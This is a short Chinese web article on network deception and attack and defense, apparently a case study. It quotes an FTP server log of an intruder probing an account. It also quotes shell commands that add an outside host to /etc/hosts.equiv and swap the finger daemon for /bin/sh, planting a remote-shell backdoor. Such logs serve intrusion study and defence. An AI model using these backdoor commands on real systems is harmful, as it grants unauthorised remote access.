网络欺骗的方法以及攻防

　2006-08-09 20:30:49　来源：WEB开发网　　　

核心提示： 以下是引用片段：Feb 20 01:36:48 inet ftpd[14437]: <--- 220 inet FTP server(Version 4.265 Fri Feb 2 13:39:38 EST 1990) ready.Feb 20 01:36:55 inet ftpd[

以下是引用片段： Feb 20 01:36:48 inet ftpd[14437]: <--- 220 inet FTP server (Version 4.265 Fri Feb 2 13:39:38 EST 1990) ready. Feb 20 01:36:55 inet ftpd[14437]: -------> user cndes?M Feb 20 01:36:55 inet ftpd[14437]: <--- 331 Password required for cndes. Feb 20 01:37:06 inet ftpd[14437]: -------> pass?M Feb 20 01:37:06 inet ftpd[14437]: <--- 500 'PASS': command not understood. Feb 20 01:37:13 inet ftpd[14437]: -------> pass?M Feb 20 01:37:13 inet ftpd[14437]: <--- 500 'PASS': command not understood. Feb 20 01:37:24 inet ftpd[14437]: -------> HELP?M Feb 20 01:37:24 inet ftpd[14437]: <--- 214- The following commands are recognized (* =>'s unimplemented). Feb 20 01:37:24 inet ftpd[14437]: <--- 214 Direct comments to ftp-bugs@inet. Feb 20 01:37:31 inet ftpd[14437]: -------> QUIT?M Feb 20 01:37:31 inet ftpd[14437]: <--- 221 Goodbye. Feb 20 01:37:31 inet ftpd[14437]: Logout, status 0 Feb 20 01:37:31 inet inetd[116]: exit 14437 Feb 20 01:37:41 inet inetd[116]: finger request from 202.103.0.117 pid 14454 Feb 20 01:37:41 inet inetd[116]: exit 14454 01:38 finger attempt on cndes 01:48 echo "36.92.0.205 hust.whnet.edu" >> /etc/hosts.equiv 01:53 mv /usr/etc/fingerd /usr/etc/fingerd.b cp /bin/sh /usr/etc/fingerd